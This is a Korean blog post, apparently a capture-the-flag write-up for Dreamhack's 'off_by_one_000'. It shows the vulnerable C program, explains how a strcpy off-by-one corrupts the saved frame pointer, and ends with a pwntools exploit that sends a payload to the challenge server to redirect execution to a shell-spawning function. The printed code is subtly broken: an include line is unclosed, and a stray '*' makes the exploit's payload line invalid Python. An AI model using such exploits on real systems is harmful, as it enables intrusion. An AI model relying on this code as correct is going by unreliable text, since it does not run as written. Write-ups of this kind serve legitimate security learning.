본문 바로가기
시스템 해킹/드림핵

[Dreamhack] off_by_one_000

by L3m0n S0ju 2021. 4. 18.

 


 

 

#include <stdio.h>
#include <stdlib.h
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

 


 

위 코드는 문제에서 주어진 c파일이다. 내용을 살펴보면 read 함수로 문자열을 256만큼 입력받고 cpy() 함수 안에서 strcpy로 read 함수에서 읽어들인 문자열을 real_name 문자열에 복사하여 저장한다. 해당 코드의 취약점은 strcpy 함수에 있다. strcpy 함수는 두 번째 인자를 첫 번째 인자로 복사하는데 두 번째 인자에서 NULL 까지 포함하여 복사한다는 점에서 취약점이 존재한다. 만약 256 만큼의 문자를 복사하면 뒤에 NULL 문자까지 읽어들이면 257만큼의 문자가 복사되므로 cpy 함수의 sfp의 4바이트 중 1바이트를 00으로 덮어씌우게 된다. 그렇게 오염된 sfp는 real_name이 저장되는 문자열 부분을 가르키게 된다.

 

해당 코드에서 함수 에필로그 leave, ret을 두번 반복하게 된다. leave, ret을 더 분석해보면 아래와 같다.

 

leave ->  mov esp  ebp // esp가 ebp와 같은 곳을 가르키게 된다.

            mov ebp [esp] // 1바이트가 00으로 오염된 sfp 값을 ebp에 저장한다. 

            add  esp  4    // esp가 4바이트 만큼 더해진다.

ret    -> mov eip  [esp] // sfp+4에 있는 ret 주소가 eip에 저장된다.

            add  esp  4    // esp가 4바이트 만큼 더해진다.

            jmp  eip        // eip로 점프

 

현재 단계에서는 ret 주소를 건드릴 수 없지만 2번째 함수 에필로그에서 ret 주소를 오염시킬 수 있다.

 

leave ->  mov esp  ebp // esp가 ebp와 같은 곳을 가르키게 된다. ebp는 위에서 오염되었기 때문에 현재  main 함수의                                     본래의 ebp가 아닌 엉뚱한 곳을 가르키고 있다.

            mov ebp [esp] // 엉뚱한 곳에 있는 데이터를 ebp에 저장한다

            add  esp  4    // esp가 4바이트 만큼 더해진다.

ret    -> mov eip  [esp] // 엉뚱한 곳+4에 있는 ret 주소가 eip에 저장된다.

            add  esp  4    // esp가 4바이트 만큼 더해진다.

            jmp  eip        // 엉뚱한 곳+4로 점프

 

 

문제는 그 엉뚱한 곳이 어디인지를 알아야한다.

 


 

gdb를 이용하여 strcpy 함수 앞에 브레이크 포인트를 걸고 실행하여 오염되지 않은 ebp를 확인하겠다.

 

 

 

위 그림을 보면 ebp는 0xffffd168을 가르키고 있다.

 


 

다음으로 strcpy 함수 실행 이후의 ebp를 확인하겠다. strcpy 함수 실행 이후에 ebp를 확인하면 0xffffd100 을 가르키고 있다. 0xffffd168에서 뒤 1바이트가 00으로 오염되어 0xffffd100으로 되었다. 여기서 0xffffd100은 오른쪽 문구와 같이 입력한 문자 'a'가 96번 반복되고 있다고 출력되므로 현재 real_name 문자열의 공간 어딘가를 가르키는 것을 알 수 있다. 그리고 현재 esp는 0xffffd060을 가르키고 있는데 해당 주소는 real_name 문자열의 주소이다. 요약하면 real_name 문자열은 0xffffd060 ~ 0xffffd15f 범위로 256바이트 만큼의 공간을 차지하고 있는데 오염된 cpy 함수의 sfp가 0xffffd100으로 하 real_name 문자열 범위에 포함된다.

 

다시 처음부터 설명하자면 cpy 함수에서 leave, ret을 하면서 sfp가 가르키는 값을 바꾸어서 main의 sfp는 엉뚱한 값 0xffffd100을 가르키게 된다. 그리고 main이 ret할 때 sfp+4를 pop 하므로 0xffffd100+4=0xffffd104에 있는 주소로 이동하여 명령어를 수행하게된다. 따라서 0xffffd104에 get_shell 함수의 주소값을 넣으면 쉘을 획득할 수 있다. 

 


 

위치를 알았으니 그곳에 get_shell 함수의 주소 값을 덮어씌우면 쉘을 획득할 수 있다. 익스플로잇 코드는 아래와 같다.

 

 

#!/usr/bin/python

from pwn import *

context.log_level='debug'

r=remote("host1.dreamhack.games",15931)

payload=b"A"*196 + b"\xdb\x85\x04\x08"* + b"B"*56

r.send(payload)
r.interactive()

 


플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] Off_by_one_001  (0) 2021.05.07
[Dreamhack] basic_rop_x64  (0) 2021.05.05
[Dreamhack] basic_rop_x86  (1) 2021.05.03
[Dreamhack] basic_exploitation_001  (0) 2021.04.11
[Dreamhack] basic_exploitation_000  (0) 2021.04.06

댓글